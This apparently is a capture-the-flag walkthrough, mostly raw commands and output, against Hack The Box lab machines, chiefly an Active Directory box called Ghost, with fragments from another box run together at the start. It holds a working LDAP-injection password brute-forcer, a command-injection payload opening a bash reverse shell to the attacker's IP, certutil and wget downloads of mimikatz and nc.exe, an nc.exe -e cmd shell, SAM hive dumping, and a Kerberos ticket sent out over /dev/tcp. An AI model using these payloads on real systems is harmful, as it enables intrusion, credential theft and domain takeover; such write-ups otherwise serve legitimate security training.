Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { type C:\Users\imonks\Desktop\wm.ps1 }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { C:\Users\imonks\Desktop\wm.ps1 }rlwrap -cAr nc -nlvp 443
hostname
whoami /allreg save HKLM\SYSTEM C:\Utils\SYSTEM
reg save HKLM\SAM C:\Utils\SAMpython3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe C:\Utils\mk.exemk.exe
lsadump::sam /SYSTEM:C:\Utils\SYSTEM /SAM:C:\Utils\SAMhashcat -a 0 -m 1000 hashes /usr/share/wordlists/rockyou.txt$SecPassword = ConvertTo-SecureString 'Password@123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('acute\awallace',$SecPassword)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { whoami }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ls C:\Progra~1 }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ls C:\Progra~1\keepmeon }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { typeC:\Progra~1\keepmeon\keepmeon.bat }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { net groups /domain }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { net group Site_Admin /domain }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { Set-Content -Path C:\Progra~1\keepmeon\pwn3d.bat -Value 'net group Site_Admin awallace /domain /add' }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { Get-Content C:\Progra~1\keepmeon\pwn3d.bat }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { net user awallace /domain }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { net user awallace /domain }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { type C:\Users\Administrator\Desktop\root.txt }Invoke-Command -ComputerName ATSSERVER -Credential $Cred -ScriptBlock { wget 10.10.16.7/nc.exe -outfile \programdata\nc.exe }
Invoke-Command -ComputerName ATSSERVER -Credential $Cred -ScriptBlock { \programdata\nc.exe -e cmd 10.10.16.7 443}rlwrap -cAr nc -nlvp 443❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.24 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 18:54 CET
Initiating SYN Stealth Scan at 18:54
Scanning 10.10.11.24 [65535 ports]
Completed SYN Stealth Scan at 18:56, 127.33s elapsed (65535 total ports)
Nmap scan report for 10.10.11.24
Host is up, received user-set (0.053s latency).
Scanned at 2025-02-07 18:54:34 CET for 127s
Not shown: 65508 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
2179/tcp open vmrdp syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
8008/tcp open http syn-ack ttl 127
8443/tcp open https-alt syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49443/tcp open unknown syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49675/tcp open unknown syn-ack ttl 127
51066/tcp open unknown syn-ack ttl 127
51123/tcp open unknown syn-ack ttl 127
57044/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 127.43 seconds
Raw packets sent: 131132 (5.770MB) | Rcvd: 177 (10.228KB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.24
[*] Open ports: 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49675,51066,51123,57044
[*] Ports copied to clipboard❯ nmap -sCV -p53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49675,51066,51123,57044 10.10.11.24 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 18:59 CET
Nmap scan report for 10.10.11.24
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-07 18:00:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.10.11.24:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-02-07T18:02:20+00:00; +26s from scanner time.
| ms-sql-ntlm-info:
| 10.10.11.24:1433:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
|_ Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-07T17:46:39
|_Not valid after: 2055-02-07T17:46:39
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-02-07T18:02:21+00:00; +27s from scanner time.
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2025-02-06T17:43:29
|_Not valid after: 2025-08-08T17:43:29
| rdp-ntlm-info:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
| Product_Version: 10.0.20348
|_ System_Time: 2025-02-07T18:01:41+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8008/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Ghost
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-generator: Ghost 5.78
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after: 2124-05-25T15:14:02
9389/tcp open mc-nmf .NET Message Framing
49443/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
51066/tcp open msrpc Microsoft Windows RPC
51123/tcp open msrpc Microsoft Windows RPC
57044/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 26s, deviation: 0s, median: 25s
| smb2-time:
| date: 2025-02-07T18:01:41
|_ start_date: N/A
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 99.71 ms 10.10.16.1
2 99.92 ms 10.10.11.24
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.54 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.11.24
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
❯ ldapsearch -x -H ldap://10.10.11.24 -s base | grep defaultNamingContext
defaultNamingContext: DC=GHOST,DC=HTB❯ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb DC01.ghost.htb❯ whatweb http://ghost.htb
http://ghost.htb [404 Not Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-HTTPAPI/2.0], IP[10.10.11.24], Microsoft-HTTPAPI[2.0], Title[Not Found]
❯ whatweb http://ghost.htb:8008
http://ghost.htb:8008 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.24], MetaGenerator[Ghost 5.78], Open-Graph-Protocol[website], Script[application/ld+json], Title[Ghost], X-Powered-By[Express], nginx[1.18.0]
❯ whatweb https://ghost.htb:8443
https://ghost.htb:8443 [302 Found] Cookies[connect.sid], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.24], RedirectLocation[/login], X-Powered-By[Express], nginx[1.18.0]
https://ghost.htb:8443/login [200 OK] Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.24], Title[Ghost Core], X-Powered-By[Express], nginx[1.18.0]❯ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb DC01.ghost.htb federation.ghost.htb ❯ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://FUZZ.ghost.htb:8008/ -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://FUZZ.ghost.htb:8008/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
core [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 173ms]
intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 429ms]
Intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 153ms]
federation [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 220ms]
Core [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 206ms]❯ ffuf -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://FUZZ.ghost.htb:8008/ -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://FUZZ.ghost.htb:8008/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
gitea [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 136ms]❯ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb DC01.ghost.htb federation.ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb❯ cat users.txt
kathryn.holland
cassandra.shelton
robert.steeves
florence.ramirez
justin.bradley
arthur.boyd
beth.clark
charles.gray
jason.taylor
intranet_principal
gitea_temp_principalimport string
import requests
# Configuración
url = 'http://intranet.ghost.htb:8008/login'
headers = {
'Host': 'intranet.ghost.htb:8008',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
'Connection': 'keep-alive'
}
# Caracteres a probar (puedes ampliar si el login acepta mayúsculas o símbolos)
charset = string.ascii_lowercase + string.digits
password = ""
while True:
found = False
for char in charset:
test_password = f"{password}{char}*"
files = {
'1_ldap-username': (None, 'gitea_temp_principal'),
'1_ldap-secret': (None, test_password),
'0': (None, '[{},"$K1"]')
}
r = requests.post(url, headers=headers, files=files)
if r.status_code == 303: # Código de redirección indica login exitoso
password += char
print(f"[✔] Caracter encontrado: {char} → {password}")
found = True
break # Salir del loop de caracteres y probar el siguiente
if not found:
print(f"[✅] Contraseña encontrada: {password}")
break # Si ningún carácter fue válido, finaliza
print(f"[🔓] Contraseña final: {password}")❯ python3 brute_ldap.py
[✔] Caracter encontrado: s → s
[✔] Caracter encontrado: z → sz
[✔] Caracter encontrado: r → szr
[✔] Caracter encontrado: r → szrr
[✔] Caracter encontrado: 8 → szrr8
[✔] Caracter encontrado: k → szrr8k
[✔] Caracter encontrado: p → szrr8kp
[✔] Caracter encontrado: c → szrr8kpc
[✔] Caracter encontrado: 3 → szrr8kpc3
[✔] Caracter encontrado: z → szrr8kpc3z
[✔] Caracter encontrado: 6 → szrr8kpc3z6
[✔] Caracter encontrado: o → szrr8kpc3z6o
[✔] Caracter encontrado: n → szrr8kpc3z6on
[✔] Caracter encontrado: l → szrr8kpc3z6onl
[✔] Caracter encontrado: q → szrr8kpc3z6onlq
[✔] Caracter encontrado: f → szrr8kpc3z6onlqf
[✅] Contraseña encontrada: szrr8kpc3z6onlqf
[🔓] Contraseña final: szrr8kpc3z6onlqf❯ unzip intranet.zip; cd intranet❯ tree
.
├── backend
│ ├── Cargo.lock
│ ├── Cargo.toml
│ ├── diesel.toml
│ ├── Dockerfile
│ ├── migrations
│ │ ├── 2024-01-05-214725_news
│ │ │ ├── down.sql
│ │ │ └── up.sql
│ │ └── 2024-01-05-225610_forum
│ │ ├── down.sql
│ │ └── up.sql
│ └── src
│ ├── api
│ │ ├── dev
│ │ │ └── scan.rs
│ │ ├── dev.rs
│ │ ├── forum.rs
│ │ ├── ldap.rs
│ │ ├── login.rs
│ │ ├── me.rs
│ │ ├── news.rs
│ │ └── users.rs
│ ├── api.rs
│ ├── database
│ │ ├── models.rs
│ │ └── schema.rs
│ ├── database.rs
│ └── main.rs
├── docker-compose.yml
├── frontend
│ ├── Dockerfile
│ ├── next.config.js
│ ├── package.json
│ ├── postcss.config.js
│ ├── public
│ │ ├── next.svg
│ │ └── vercel.svg
│ ├── README.md
│ ├── src
│ │ ├── app
│ │ │ ├── (dashboard)
│ │ │ │ ├── forum
│ │ │ │ │ └── page.tsx
│ │ │ │ ├── layoutNavigation.tsx
│ │ │ │ ├── layout.tsx
│ │ │ │ ├── news
│ │ │ │ │ └── page.tsx
│ │ │ │ ├── profile
│ │ │ │ │ └── page.tsx
│ │ │ │ └── users
│ │ │ │ └── page.tsx
│ │ │ ├── globals.css
│ │ │ ├── layout.tsx
│ │ │ ├── login
│ │ │ │ ├── action.tsx
│ │ │ │ ├── form.tsx
│ │ │ │ └── page.tsx
│ │ │ ├── logout
│ │ │ │ └── route.tsx
│ │ │ └── page.tsx
│ │ ├── components
│ │ │ ├── drawer.tsx
│ │ │ └── navbar.tsx
│ │ ├── helpers
│ │ │ └── fetch.ts
│ │ └── hooks
│ │ └── useUser.tsx
│ ├── tailwind.config.js
│ ├── tsconfig.json
│ └── yarn.lock
└── README.md
23 directories, 50 files❯ grep 'DEV_INTRANET_KEY' -r *
backend/src/api/dev.rs: if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
backend/.env.example:DEV_INTRANET_KEY=use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};
pub(crate) mod scan;
pub struct DevGuard;
#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
type Error = ();
async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
let key = request.headers().get_one("X-DEV-INTRANET-KEY");
match key {
Some(key) => {
if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
Outcome::Success(DevGuard {})
} else {
Outcome::Error((Status::Unauthorized, ()))
}
},
None => Outcome::Error((Status::Unauthorized, ()))
}
}
}use std::process::Command;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;
use crate::api::dev::DevGuard;
#[derive(Deserialize)]
pub struct ScanRequest {
url: String,
}
#[derive(Serialize)]
pub struct ScanResponse {
is_safe: bool,
// remove the following once the route is stable
temp_command_success: bool,
temp_command_stdout: String,
temp_command_stderr: String,
}
// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
// currently intranet_url_check is not implemented,
// but the route exists for future compatibility with the blog
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
match result {
Ok(output) => {
Json(ScanResponse {
is_safe: true,
temp_command_success: true,
temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
})
}
Err(_) => Json(ScanResponse {
is_safe: true,
temp_command_success: false,
temp_command_stdout: "".to_string(),
temp_command_stderr: "".to_string(),
})
}
}❯ nc -nlvp 443
listening on [any] 443 ...❯ curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://gzzcoo.com;/bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1"}'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49786
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app# hostname -I
hostname -I
172.18.0.3 root@36b733906694:/app# env
SHELL=bash
DATABASE_URL=./database.sqlite
HOSTNAME=36b733906694
PWD=/app
HOME=/root
CARGO_HOME=/usr/local/cargo
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
TERM=xterm
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RUSTUP_HOME=/usr/local/rustup
ROCKET_ADDRESS=0.0.0.0
SHLVL=3
RUST_VERSION=1.79.0
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JWT_SECRET=*xopkAGbLyg9bK_A
_=/usr/bin/env❯ nxc smb 10.10.11.24 -u users.txt -p 'He!KA9oKVT3rL99j' --continue-on-success
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [-] ghost.htb\kathryn.holland:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\cassandra.shelton:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\robert.steeves:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\florence.ramirez:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\justin.bradley:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\arthur.boyd:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\beth.clark:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\charles.gray:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\jason.taylor:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j
SMB 10.10.11.24 445 DC01 [-] ghost.htb\gitea_temp_principal:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE ❯ nxc ldap 10.10.11.24 -u 'intranet_principal' -p 'He!KA9oKVT3rL99j' --bloodhound --collection All --dns-server 10.10.11.24
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.24 389 DC01 [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j
LDAP 10.10.11.24 389 DC01 Resolved collection methods: group, dcom, trusts, localadmin, rdp, acl, session, psremote, container, objectprops
LDAP 10.10.11.24 389 DC01 Done in 00M 10S
LDAP 10.10.11.24 389 DC01 Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.24_2025-02-07_212001_bloodhound.ziproot@36b733906694:/# ls -l
total 76
drwxr-xr-x 1 root root 4096 Jul 5 2024 app
lrwxrwxrwx 1 root root 7 Jul 1 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Mar 29 2024 boot
drwxr-xr-x 5 root root 340 Feb 7 17:46 dev
-rwxr-xr-x 1 root root 215 Jul 22 2024 docker-entrypoint.sh
drwxr-xr-x 1 root root 4096 Jul 22 2024 etc
drwxr-xr-x 2 root root 4096 Mar 29 2024 home
lrwxrwxrwx 1 root root 7 Jul 1 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 1 2024 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Jul 1 2024 media
drwxr-xr-x 2 root root 4096 Jul 1 2024 mnt
drwxr-xr-x 2 root root 4096 Jul 1 2024 opt
dr-xr-xr-x 196 root root 0 Feb 7 17:46 proc
drwx------ 1 root root 4096 Jul 5 2024 root
drwxr-xr-x 1 root root 4096 Jul 5 2024 run
lrwxrwxrwx 1 root root 8 Jul 1 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Jul 1 2024 srv
dr-xr-xr-x 13 root root 0 Feb 7 17:46 sys
drwxrwxrwt 1 root root 4096 Jul 5 2024 tmp
drwxr-xr-x 1 root root 4096 Jul 1 2024 usr
drwxr-xr-x 1 root root 4096 Jul 1 2024 var
root@36b733906694:/# cat docker-entrypoint.sh
#!/bin/bash
mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n ControlMaster auto\n ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n ControlPersist yes' > /root/.ssh/config
exec /app/ghost_intranet root@36b733906694:~/.ssh/controlmaster$ ls -la
total 12
drwxr-xr-x 1 root root 4096 Feb 7 17:47 .
drwxr-xr-x 1 root root 4096 Jul 5 2024 ..
srw------- 1 root root 0 Feb 7 17:47 florence.ramirez@ghost.htb@dev-workstation:22
root@36b733906694:~/.ssh/controlmaster$ file florence.ramirez\@ghost.htb\@dev-workstation\:22
florence.ramirez@ghost.htb@dev-workstation:22: socketroot@36b733906694:~/.ssh/controlmaster# ssh -O check -S ~/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22 florence.ramirez@ghost.htb
Master running (pid=24)
florence.ramirez@LINUX-DEV-WS01:~$ hostname -I
172.18.0.2
florence.ramirez@LINUX-DEV-WS01:~$ id
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)florence.ramirez@LINUX-DEV-WS01:~$ env
SHELL=/bin/bash
PWD=/home/GHOST/florence.ramirez
KRB5CCNAME=FILE:/tmp/krb5cc_50
LOGNAME=florence.ramirez
MOTD_SHOWN=pam
HOME=/home/GHOST/florence.ramirez
SSH_CONNECTION=172.18.0.3 54228 172.18.0.2 22
TERM=xterm
USER=florence.ramirez
SHLVL=1
SSH_CLIENT=172.18.0.3 54228 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
SSH_TTY=/dev/pts/0
_=/usr/bin/envflorence.ramirez@LINUX-DEV-WS01:/tmp$ ls -la krb5cc_50
-rw------- 1 florence.ramirez staff 1650 Feb 7 19:49 krb5cc_50❯ nc -nlvp 443 > krb5cc_50
listening on [any] 443 ...florence.ramirez@LINUX-DEV-WS01:/tmp$ cat krb5cc_50 > /dev/tcp/10.10.16.7/443❯ ls -l krb5cc_50
.rw-rw-r-- kali kali 1.6 KB Fri Feb 7 20:51:29 2025 krb5cc_50
❯ file krb5cc_50
krb5cc_50: data❯ export KRB5CCNAME=$(pwd)/krb5cc_50
❯ klist -i
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB
Valid starting Expires Service principal
07/02/25 20:51:02 08/02/25 06:51:02 krbtgt/GHOST.HTB@GHOST.HTB
renew until 08/02/25 20:51:01❯ nxc smb 10.10.11.24 -u 'florence.ramirez' -k --use-kcache
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\florence.ramirez from ccache ❯ bloodyAD --host dc01.ghost.htb -d ghost.htb -k get dnsDump
zoneName: ghost.htb
SOA.PrimaryServer: dc01.ghost.htb
SOA.zoneAdminEmail: hostmaster@ghost.htb
NS: dc01.ghost.htb
A: 10.0.0.254; 127.0.0.1; 10.10.11.24
recordName: ghost.htb
recordName: _gc._tcp.ghost.htb
SRV: primary.corp.ghost.htb:3268; dc01.ghost.htb:3268
recordName: _gc._tcp.Default-First-Site-Name._sites.ghost.htb
SRV: primary.corp.ghost.htb:3268; dc01.ghost.htb:3268
recordName: _kerberos._tcp.ghost.htb
SRV: dc01.ghost.htb:88
...[snip]...❯ bloodyAD --host dc01.ghost.htb -d ghost.htb -k get dnsDump > dnsDump.txt
❯ grep 'bitbucket' dnsDump.txt❯ bloodyAD --host dc01.ghost.htb -d ghost.htb -k add dnsRecord bitbucket 10.10.16.7
[+] bitbucket has been successfully added❯ sudo responder -I tun0
...[snip]...
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
